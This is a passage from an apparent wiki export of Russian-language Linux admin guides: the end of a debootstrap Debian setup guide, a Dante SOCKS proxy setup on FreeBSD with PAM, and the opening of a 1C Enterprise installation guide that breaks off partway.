* Если вы хотите участвовать в опросе популярности пакетов, то установите пакет popularity-contest:&lt;br /&gt;
 aptitude install popularity-contest&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Для выхода из опроса:&lt;br /&gt;
 dpkg-reconfigure popularity-contest&lt;br /&gt;
* Для установки некоторых стандартных пакетов можно воспользоваться утилитой tasksel:&lt;br /&gt;
 dselect update&lt;br /&gt;
 tasksel&lt;br /&gt;
&lt;br /&gt;
Установка aptitude:&lt;br /&gt;
* aptitude — мощная утилита для работы с пакетами. В случае, если вы не хотите её использовать, пропустите этот пункт, а в дальнейших указаниях заменяйте «aptitude» на «apt»&lt;br /&gt;
&amp;lt;pre&amp;gt;apt install aptitude&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Установка языковых параметров ====&lt;br /&gt;
&lt;br /&gt;
* Скачайте, а потом настройте локали:&lt;br /&gt;
 aptitude install locales console-setup&lt;br /&gt;
 dpkg-reconfigure locales&lt;br /&gt;
 dpkg-reconfigure console-setup&lt;br /&gt;
При настройке console-setup лучше выбрать как шрифт VGA.&lt;br /&gt;
&lt;br /&gt;
==== Сетевые установки ====&lt;br /&gt;
&lt;br /&gt;
* Желательно выбрать имя своего ПК, ибо сейчас оно совпадает с именем ПК основной системы:&lt;br /&gt;
 echo '$PCName' &amp;gt; /etc/hostname&lt;br /&gt;
Где вместо $PCName имя ПК.&lt;br /&gt;
* Также, создайте файл /etc/hosts с содержанием (nano /etc/hosts):&lt;br /&gt;
 127.0.0.1       localhost&lt;br /&gt;
 127.0.1.1       $PCName&lt;br /&gt;
 &lt;br /&gt;
 # The following lines are desirable for IPv6 capable hosts&lt;br /&gt;
 ::1             localhost ip6-localhost ip6-loopback&lt;br /&gt;
 ff02::1         ip6-allnodes&lt;br /&gt;
 ff02::2         ip6-allrouters&lt;br /&gt;
Где вместо $PCName имя ПК, а вместо localhost — имя домена.&lt;br /&gt;
&lt;br /&gt;
==== Настройка пользователей ====&lt;br /&gt;
&lt;br /&gt;
* Теперь пора создать себе пользователя:&lt;br /&gt;
 adduser $USER&lt;br /&gt;
Где вместо $USER имя пользователя.&lt;br /&gt;
* Также рекомендую поставить пароль на root:&lt;br /&gt;
 passwd&lt;br /&gt;
&lt;br /&gt;
==== Установка ядра и загрузчика ====&lt;br /&gt;
&lt;br /&gt;
* Ну вот и предфинальное действие — установка ядра Linux. Для установки стандартного ядра достаточно:&lt;br /&gt;
 aptitude install linux-base linux-image-$ARCH linux-headers-$ARCH&lt;br /&gt;
Где $ARCH может быть amd64, 686-pae или 486 (на x86_64 системах лучше amd64, а на IA32 — 686-pae).&lt;br /&gt;
* Для правильного функционирования системы могут понадобиться различные прошивки. Большинство прошивок можно найти в метапакете firmware-linux:&lt;br /&gt;
 aptitude install firmware-linux&lt;br /&gt;
Учтите, некоторые прошивки вынесены в отдельные пакеты. Например, для работы сетевых карт на чипсете от Ra-Link (многие продукты D-Link) нужен пакет firmware-ralink:&lt;br /&gt;
 aptitude install firmware-ralink&lt;br /&gt;
Также продукты выпускались с чипсетами RealTek:&lt;br /&gt;
 aptitude install firmware-realtek&lt;br /&gt;
* Ну и на конец установка загрузчика:&lt;br /&gt;
 aptitude install grub-pc&lt;br /&gt;
&lt;br /&gt;
'''Примечание:''' Вместо GRUB2 также можно установить GRUB1 (пакет grub-legacy), Syslinux (пакет syslinux) или LILO (пакет lilo).&lt;br /&gt;
* На этом всё. Поздравляю с установкой Debian на Ваш компьютер.&lt;br /&gt;
&lt;br /&gt;
=== Установка дополнительных программ ===&lt;br /&gt;
&lt;br /&gt;
==== Установка sudo ====&lt;br /&gt;
&lt;br /&gt;
Для совершения административных задач без переключения в root используется sudo (SuperUserDO).&lt;br /&gt;
* Установка (от root):&lt;br /&gt;
 aptitude install sudo&lt;br /&gt;
* Далее, надо добавить нужного пользователя в список «администраторов». Для этого добавьте пользователя в группу «sudo» от root:&lt;br /&gt;
 usermod -a -G sudo $USER_NAME&lt;br /&gt;
где $USER_NAME — имя пользователя;&lt;br /&gt;
&lt;br /&gt;
==== Установка X Window System ====&lt;br /&gt;
&lt;br /&gt;
Пока основной графического стека GNU/Linux является проект X.org.&amp;lt;br /&amp;gt;&lt;br /&gt;
Для установки X.org вместе со всеми графическими драйверами, использующими Mesa:&lt;br /&gt;
 aptitude install xorg&lt;br /&gt;
&lt;br /&gt;
==== Установка дисплейного менеджера ====&lt;br /&gt;
&lt;br /&gt;
Для графического входа в графическую оболочку существуют дисплейные менеджеры.&amp;lt;br /&amp;gt;&lt;br /&gt;
Чтобы установить универсальный дисплейный менеджер LightDM с Gtk-фронтэндом:&lt;br /&gt;
 aptitude install lightdm lightdm-gtk-greeter&lt;br /&gt;
&lt;br /&gt;
Или с KDE-фронтэндом:&lt;br /&gt;
 aptitude install lightdm lightdm-kde-greeter&lt;br /&gt;
Также существуют дисплейные менеджеры GDM (от среды GNOME), MDM (от проекта Mint), KDM (от среды LDE) и пр.&lt;br /&gt;
&lt;br /&gt;
==== Установка рабочей среды ====&lt;br /&gt;
&lt;br /&gt;
Если вы не установили GNOME, то можно спокойно установить среду сейчас. Для этого можно воспользоваться программой aptitude (или apt) от root:&lt;br /&gt;
* для KDE:&lt;br /&gt;
 aptitude install kde-standard&lt;br /&gt;
* для GNOME:&lt;br /&gt;
 aptitude install gnome&lt;br /&gt;
* для Xfce:&lt;br /&gt;
 aptitude install xfce4&lt;br /&gt;
* для LXDE:&lt;br /&gt;
 aptitude install lxde&lt;br /&gt;
&lt;br /&gt;
'''Примечание:''' Для управления питанием нужно установить его поддержку (от root):&lt;br /&gt;
 aptitude install acpid acpi-support&lt;br /&gt;
&lt;br /&gt;
==== Установка звукового сервера PulseAudio ====&lt;br /&gt;
&lt;br /&gt;
Cуществует звуковой сервер PulseAudio, решающий (а по иному мнению — создающий) проблемы со звуком, который можно поставить (совместно с ALSA) так (от root или sudo):&lt;br /&gt;
 aptitude install pulseaudio libasound2-plugins&lt;br /&gt;
&lt;br /&gt;
==== Настройка сети ====&lt;br /&gt;
&lt;br /&gt;
Для настройки сетевого соединения существуют специализированные утилиты как NetworkManager и Wicd.&lt;br /&gt;
&lt;br /&gt;
* Чтобы установить nm-applet (графический интерфейс к NetworkManager) (от root или sudo):&lt;br /&gt;
 aptitude install network-manager-gnome&lt;br /&gt;
* Чтобы установить Wicd-Gtk (графический интерфейс к Wicd) (от root или sudo):&lt;br /&gt;
 aptitude install wicd-gtk&lt;br /&gt;
&lt;br /&gt;
==== Установка дополнительных кодеков ====&lt;br /&gt;
&lt;br /&gt;
По разным причинам, в Debian отсутствуют некоторые кодеки. Чтобы их установить:&lt;br /&gt;
&lt;br /&gt;
* Создайте /etc/apt/sources.list.d/deb-multimedia.list с содержимым:&lt;br /&gt;
 deb http://mirror.yandex.ru/debian-multimedia $DISTRO main non-free&lt;br /&gt;
 # deb-src http://mirror.yandex.ru/debian-multimedia $DISTRO main&lt;br /&gt;
Где $DISTRO — имя Вашего дистрибутива.&lt;br /&gt;
* Выполните (от root или sudo):&lt;br /&gt;
 apt update&lt;br /&gt;
 aptitude install deb-multimedia-keyring w32codecs libdvdcss2&lt;br /&gt;
 apt update&lt;br /&gt;
Для amd64:&lt;br /&gt;
 apt update&lt;br /&gt;
 aptitude install deb-multimedia-keyring w64codecs libdvdcss2&lt;br /&gt;
 apt update&lt;br /&gt;
&lt;br /&gt;
==== Установка другой системы инициализации ====&lt;br /&gt;
&lt;br /&gt;
В Debian по умолчанию используется systemd, который некоторые считают переусложнённым посланием из ада. Но в репозиториях также есть системы инициализации OpenRC и SysVinit, которые посланием из ада не считаются.&lt;br /&gt;
&lt;br /&gt;
* Чтобы установить OpenRC вместо systemd (от root или sudo):&lt;br /&gt;
 aptitude install openrc&lt;br /&gt;
Настройки OpenRC хранятся в /etc/rc.conf.&lt;br /&gt;
* Чтобы установить SysVinit вместо systemd (от root или sudo):&lt;br /&gt;
 aptitude install sysvinit-core&lt;br /&gt;
&lt;br /&gt;
Также для ускорения загрузки, если нет systemd, можно поставить пакет readahead-fedora (от root или sudo):&lt;br /&gt;
 aptitude install readahead-fedora&lt;br /&gt;
&lt;br /&gt;
==== Курсор в терминале ====&lt;br /&gt;
&lt;br /&gt;
Для появления курсора в виртуальном терминале установите пакет gpm (от root или sudo):&lt;br /&gt;
 aptitude install gpm&lt;br /&gt;
&lt;br /&gt;
==== Установка видеодрайвера ====&lt;br /&gt;
&lt;br /&gt;
Для установки видеодрайвера посетите:&lt;br /&gt;
&lt;br /&gt;
* Для видеокарт nVIDIA: [http://wiki.debian.org/NvidiaGraphicsDrivers#non-freedrivers проприетарный] ([http://wiki.debian.org/ru/NvidiaProprietary на русском] (возможно, устарело)), [http://wiki.debian.org/NvidiaGraphicsDrivers#freedrivers свободный];&lt;br /&gt;
* Для видеокарт AMD: [http://wiki.debian.org/ATIProprietary проприетарный] ([http://wiki.debian.org/ru/ATIProprietary на русском] (возможно, устарело)), [http://wiki.debian.org/AtiHowTo свободный]([http://wiki.debian.org/ru/AtiHowTo на русском] (возможно, устарело)).&lt;br /&gt;
==== Автомонтирование устройств ====&lt;br /&gt;
&lt;br /&gt;
Если у Вас не монтируются устройства автоматически, то это можно исправить установкой пакета pmount (от root):&lt;br /&gt;
 aptitude install pmount&lt;br /&gt;
&lt;br /&gt;
==== Отключение установки «рекомендаций» в aptitude ====&lt;br /&gt;
&lt;br /&gt;
Если Вы желаете не устанавливать «рекомендации» пакетов по умолчанию с aptitude, то введите следующую команду (от root):&lt;br /&gt;
 echo -e 'APT::Install-Recommends &amp;quot;false&amp;quot;;\naptitude::Recommends-Important &amp;quot;false&amp;quot;;' | tee -a /etc/apt/apt.conf&lt;br /&gt;
&lt;br /&gt;
==== Подключение кэширования символьных таблиц X11 ====&lt;br /&gt;
&lt;br /&gt;
Для ускорения запуска программ в X-сервере можно включить кэширование символьных таблиц, для этого введите следующую команду:&lt;br /&gt;
 mkdir ~/.compose-cache&lt;br /&gt;
&lt;br /&gt;
[[Category:debootstrap]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_Dante_%D0%BD%D0%B0_FreeBSD&amp;diff=383</id>
		<title>Установка Dante на FreeBSD</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_Dante_%D0%BD%D0%B0_FreeBSD&amp;diff=383"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''При написании статьи использовались материалы https://bvn13.tk/posts/dante-server-on-ubuntu-16-04-lts'''&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SOCKS - сетевой протокол, который позволяет клиент-серверным приложениям прозрачно использовать сервисы за межсетевыми экранами (фаерволами). SOCKS — это сокращение от &amp;quot;SOCKet Secure&amp;quot;. SOCKS не зависит от конкретных протоколов уровня приложений (7-го уровня модели OSI) и базируется на стандарте TCP/IP — протоколе 4-го уровня.&lt;br /&gt;
&lt;br /&gt;
Хотя этот протокол разработан достаточно давно, он является относительно новым (по сравнению с HTTP proxy). SOCKS позволяет работать с любыми (версия Socks 4 - с TCP, Socks 5 - с TCP и UDP) протоколами. SOCKS proxy просто передает данные от клиента к серверу, не вникая в содержимое самих данных (поэтому он может работать с HTTP, FTP, SMTP, POP3, NNTP, etc.).&lt;br /&gt;
&lt;br /&gt;
== SOCKS-сервер Dante Server ==&lt;br /&gt;
&lt;br /&gt;
В коллекции пакетов FreeBSD 11.2 имеется последняя (на момент написания статьи) версия Dante Server 1.4.2. Если не требуется специальных опций при сборке, то использовать заранее подготовленный пакет наиболее предпочтительно (иначе можно использовать коллекцию портов, но этот вопрос останется за рамками этой статьи). Для авторизации клиентов будем использовать PAM.&lt;br /&gt;
&lt;br /&gt;
=== Устанавливаем пакет ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pkg install dante&lt;br /&gt;
# pkg install pam_pwdfile&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Модуль ''pam_pwdfile'' не включен в состав базовой системы, его тоже сразу устанавливаем.&lt;br /&gt;
&lt;br /&gt;
=== Редактируем файл конфигурации ===&lt;br /&gt;
&lt;br /&gt;
Файл конфигурации расположен по адресу ''/usr/local/etc/sockd.conf''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=bash&amp;gt;&lt;br /&gt;
# Расположение лог-файла&lt;br /&gt;
logoutput: /var/log/socks.log&lt;br /&gt;
&lt;br /&gt;
# На каком сетевом интерфейсе и порту обслуживаем socks клиентов&lt;br /&gt;
internal: em0 port = 1080&lt;br /&gt;
&lt;br /&gt;
# С какого IP или интерфейса выходим во внешний мир&lt;br /&gt;
external: em0&lt;br /&gt;
#internal: x.x.x.x port = 1080&lt;br /&gt;
&lt;br /&gt;
# Используемый метод авторизации клиентов.&lt;br /&gt;
socksmethod: pam&lt;br /&gt;
&lt;br /&gt;
# От имени какого пользователя запускается сеервер&lt;br /&gt;
user.privileged: root&lt;br /&gt;
&lt;br /&gt;
# Понижение привелегий&lt;br /&gt;
user.unprivileged: nobody&lt;br /&gt;
&lt;br /&gt;
# Правила&lt;br /&gt;
client pass {&lt;br /&gt;
        from: 0.0.0.0/0 to: 0.0.0.0/0&lt;br /&gt;
        log: error connect disconnect&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
client block {&lt;br /&gt;
        from: 0.0.0.0/0 to: 0.0.0.0/0&lt;br /&gt;
        log: connect error&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
socks pass {&lt;br /&gt;
        from: 0.0.0.0/0 to: 0.0.0.0/0&lt;br /&gt;
        log: error connect disconnect&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
socks block {&lt;br /&gt;
        from: 0.0.0.0/0 to: 0.0.0.0/0&lt;br /&gt;
        log: connect error&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Полный конфигурационный файл всегда можно найти в ''/usr/local/etc/sockd.conf.sample'' (не редактируйте его, это пример).&lt;br /&gt;
&lt;br /&gt;
Для правильной настроки нужно указать сетевой интерфейс или IP адрес, запросы с которого будут проксироваться. Узнать имя сетевого интерфейса можно командой ''ifconfig''. Сокращенный вывод этой команды:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ ifconfig&lt;br /&gt;
&lt;br /&gt;
em0: flags=8843&amp;lt;UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST&amp;gt; metric 0 mtu 1500&lt;br /&gt;
&lt;br /&gt;
lo0: flags=8049&amp;lt;UP,LOOPBACK,RUNNING,MULTICAST&amp;gt; metric 0 mtu 16384&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Настройка PAM ===&lt;br /&gt;
&lt;br /&gt;
Создаем файл ''/etc/pam.d/sockd'' с таким содержанием ([https://www.freebsd.org/doc/ru/articles/pam/pam-config.html подробнее])&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=bash&amp;gt;&lt;br /&gt;
auth required pam_pwdfile.so pwdfile /root/sockd.passwd&lt;br /&gt;
account required pam_permit.so&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Создаем файл паролей ''/root/sockd.passwd'' (описание формата в файле, каждый пользователь с новой строки)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=bash&amp;gt;&lt;br /&gt;
# User:password&lt;br /&gt;
UserOne:5f+wBjfFf5R|tYuEM9Kj&lt;br /&gt;
UserTwo:hb~A5},t5&amp;gt;.bnTOKzTDj&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Для генерации паролей удобно использовать утилиту ''pwgen''.&lt;br /&gt;
Пример генерации 5 паролей длинной 20 символов с добавленийм ключей для повышенной безопасности и использования спецсимволов:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pwgen -ys 20 5&lt;br /&gt;
-Sgd'Ss-yHfEi+=2TJ?Y mvxWwFYg/[4EI2aw/:^` hb~A5},t5&amp;gt;.bnTOKzTDj&lt;br /&gt;
@9FGi0^Qp7;F91ao9vw| 5f+wBjfFf5R|tYuEM9Kj&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Автоматический запуск Dante server ===&lt;br /&gt;
&lt;br /&gt;
Добавляем в файл ''/etc/rc.conf'' строку:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=bash&amp;gt;&lt;br /&gt;
sockd_enable=&amp;quot;YES&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запускаем сервер:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=bash&amp;gt;&lt;br /&gt;
service sockd start&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Проверяем с клиента работоспособность с помощью ''curl'':&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=bash&amp;gt;&lt;br /&gt;
$ curl --socks5 'UserOne:5f+wBjfFf5R|tYuEM9Kj@x.x.x.x:1080' ifconfig.me&lt;br /&gt;
xxx.xxx.xxx.xxx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_1%D0%A1_%D0%9F%D1%80%D0%B5%D0%B4%D0%BF%D1%80%D0%B8%D1%8F%D1%82%D0%B8%D1%8F&amp;diff=381</id>
		<title>Установка 1С Предприятия</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_1%D0%A1_%D0%9F%D1%80%D0%B5%D0%B4%D0%BF%D1%80%D0%B8%D1%8F%D1%82%D0%B8%D1%8F&amp;diff=381"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Установка 1С Предприятия 8.2=&lt;br /&gt;
&lt;br /&gt;
==Введение==&lt;br /&gt;
&lt;br /&gt;
В данном руководстве описывается установка клиент-серверного 1С Предприятия 8.2 в виртуальную машину с ОС на основе ядра linux.&lt;br /&gt;
Т.к. руководство администратора 1С не содержит никакой информации по установке, кроме названия необходимых бинарных пакетов,&lt;br /&gt;
а в сети, среди небольшого количества информации по теме, не было найдено полного руководства,&lt;br /&gt;
которое бы описывало процесс от начала и до конца,&lt;br /&gt;
то появилась идея описать все необходимые шаги в одном месте.&lt;br /&gt;
ОС хозяина имеет архитектуру amd64, а 1С и ключи 32-битные,&lt;br /&gt;
поэтому ОС в виртуальной машине будет с i386 архитектурой.&lt;br /&gt;
И так, имеется:&lt;br /&gt;
&lt;br /&gt;
* сервер с Debian GNU/Linux 6 (amd64);&lt;br /&gt;
* 2 usb-ключа с лицензиями: один - для сервера, второй - сетевой для клиентов;&lt;br /&gt;
* набор *.deb пакетов 1С (i386);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-style: italic; margin-left: 2em&amp;quot;&amp;gt;&lt;br /&gt;
Т.к. статья писалась через какое-то время после установки, а проверять всё заново на боевой машине никакого желания нет,&lt;br /&gt;
то могут быть не точности и ошибки.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
==Сборка postgresql==&lt;br /&gt;
&lt;br /&gt;
Необходимо распаковать исходники postgresql во временную директорию:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
user@linux$ apt-get source postgresql-8.4&lt;br /&gt;
user@linux$ cd postgresql-8.4-8.4.13&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
После, скачать три патча для postgresql 8.4.1 с [http://v8.1c.ru/overview/postgres_patches_notes.htm сайта 1С] и разместить их в директории с исходниками:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
user@linux$ mv ~/1c_FULL_84-0.19.2.patch debian/patches/20-1c_FULL_84-0.19.2.patch&lt;br /&gt;
user@linux$ mv ~/postgresql-1c-8.4.patch debian/patches/21-postgresql-1c-8.4.patch&lt;br /&gt;
user@linux$ mv ~/applock-1c-8.4.1.patch debian/patches/22-applock-1c-8.4.1.patch&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
В &amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;debian/rules&amp;lt;/span&amp;gt; необходимо исправить '''--enable-integer-datatime''' на '''--disable-integer-datatime'''.&lt;br /&gt;
В &amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;debian/postgresql-contrib-8.4.install&amp;lt;/span&amp;gt; надо добавить строки:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
usr/lib/postgresql/8.4/lib/mchar.so&lt;br /&gt;
usr/lib/postgresql/8.4/lib/fulleq.so&lt;br /&gt;
usr/lib/postgresql/8.4/lib/fasttrun.so&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Перед сборкой пакета необходимо установить кроме прочего, также, и &amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;libicu-dev&amp;lt;/span&amp;gt;.&lt;br /&gt;
После чего можно запускать сборку пакета с помощью dpkg-buildpackage.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;margin-left: 2em; font-style: italic&amp;quot;&amp;gt;&lt;br /&gt;
В моём случае gcc ругался в двух местах на необъявленную переменную &amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;rest&amp;lt;/span&amp;gt;.&lt;br /&gt;
Для исправления этого в начало функции, где возникла ошибка, надо добавить строку:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Const      *rest = NULL;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Установка базовой системы==&lt;br /&gt;
&lt;br /&gt;
===Создание диска и ФС для виртуальной машины===&lt;br /&gt;
&lt;br /&gt;
Создаём образы дисков:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
user@linux$ kvm-img create -f raw acc.img 4G&lt;br /&gt;
user@linux$ kvm-img create -f raw acc.db.img 8G&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ассоциируем образ с loopback-устройством:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# losetup /dev/loop0 ./acc.img&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Создаём на данном устройстве один раздел, который ассоциируем с /dev/loop1.&lt;br /&gt;
После чего создаём файловую систему на нём (передавая mkfs кол-во блоков на устройстве 4192933):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# fdisk /dev/loop0&lt;br /&gt;
root@linux# losetup -o $((63*512)) /dev/loop1 ./acc.img&lt;br /&gt;
root@linux# mkfs.ext3 /dev/loop1 4192933&lt;br /&gt;
root@linux# tune2fs -L rootfs /dev/loop1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Узнать смещение для первого раздела, а также кол-во блоков занимаемых им, можно с помощью команды:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# fdisk -lu /dev/loop0&lt;br /&gt;
&lt;br /&gt;
Disk /dev/loop0: 4294 MB, 4294967296 bytes&lt;br /&gt;
255 heads, 63 sectors/track, 522 cylinders, total 8388608 sectors&lt;br /&gt;
Units = sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disk identifier: 0x390981ce&lt;br /&gt;
&lt;br /&gt;
      Device Boot      Start         End      Blocks   Id  System&lt;br /&gt;
/dev/loop0p1              63     8385929     4192933+  83  Linux&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Установка базовой системы===&lt;br /&gt;
&lt;br /&gt;
Ставим базовую систему с помощью debootstrap:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# mount /dev/loop1 /mnt&lt;br /&gt;
root@linux# debootstrap --arch=i386 --foreign --include=grub2 squeeze /mnt http://ftp.debian.org&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ставим ядро:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# (cd /; tar -c /boot/*3.2.30-my /lib/modules/3.2.30-my) | (cd /mnt; tar -x )&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Устанавливаем grub2:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# grub-install --modules=part_msdos --root-directory=/mnt /dev/loop0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
После этого надо создать &amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;/mnt/boot/grub/grub.cfg&amp;lt;/span&amp;gt;.&lt;br /&gt;
Можно просто скопировать системный и добавить туда новый пункт меню вида:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
menuentry 'Debian GNU/Linux, with Linux 3.2.30-my' --class debian --class gnu-linux --class gnu --class os {&lt;br /&gt;
        insmod part_msdos&lt;br /&gt;
        insmod ext2&lt;br /&gt;
        search --no-floppy --label rootfs --set=root&lt;br /&gt;
        echo    'Loading Linux 3.2.30-my ...'&lt;br /&gt;
        linux   /boot/vmlinuz-3.2.30-my root=LABEL=rootfs console=ttyS0 ro  quiet&lt;br /&gt;
        echo    'Loading initial ramdisk ...'&lt;br /&gt;
        initrd  /boot/initrd.img-3.2.30-my&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Или можно установка lilo в качестве альтернативы grub2:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# echo &amp;quot;&lt;br /&gt;
boot=/dev/loop0&lt;br /&gt;
disk=/dev/loop0&lt;br /&gt;
        bios=0x80&lt;br /&gt;
        cylinders=522&lt;br /&gt;
        heads=255&lt;br /&gt;
        sectors=63&lt;br /&gt;
        partition=/dev/loop1&lt;br /&gt;
                start=1&lt;br /&gt;
install=menu&lt;br /&gt;
prompt&lt;br /&gt;
timeout=100&lt;br /&gt;
lba32&lt;br /&gt;
large-memory&lt;br /&gt;
&lt;br /&gt;
image=/boot/vmlinuz-3.2.30-my&lt;br /&gt;
        initrd=&amp;quot;/boot/initrd.img-3.2.30-my&amp;quot;&lt;br /&gt;
        append=&amp;quot;console=ttyS0&amp;quot;&lt;br /&gt;
        root=&amp;quot;LABEL=rootfs&amp;quot;&lt;br /&gt;
        label=linux&lt;br /&gt;
&amp;quot; &amp;gt; /mnt/etc/lilo.conf&lt;br /&gt;
root@linux# lilo -r /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Для возможности залогиниться с помощью telnet на ttyS0 раскомментируем в &amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;/mnt/etc/inittab&amp;lt;/span&amp;gt; следующую строку:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
T0:23:respawn:/sbin/getty -L ttyS0 9600 vt100&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Добавим модуль ядра button в &amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;/mnt/etc/modules&amp;lt;/span&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# echo button &amp;gt;&amp;gt; /mnt/etc/modules&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Продолжение установки базовой системы из виртуальной машины===&lt;br /&gt;
&lt;br /&gt;
Теперь надо запустить виртуальную машину и подключиться к ней по vnc,&lt;br /&gt;
чтобы продолжить установку базовой системы.&lt;br /&gt;
В моём случае скрипт запуска следующий:&lt;br /&gt;
&lt;br /&gt;
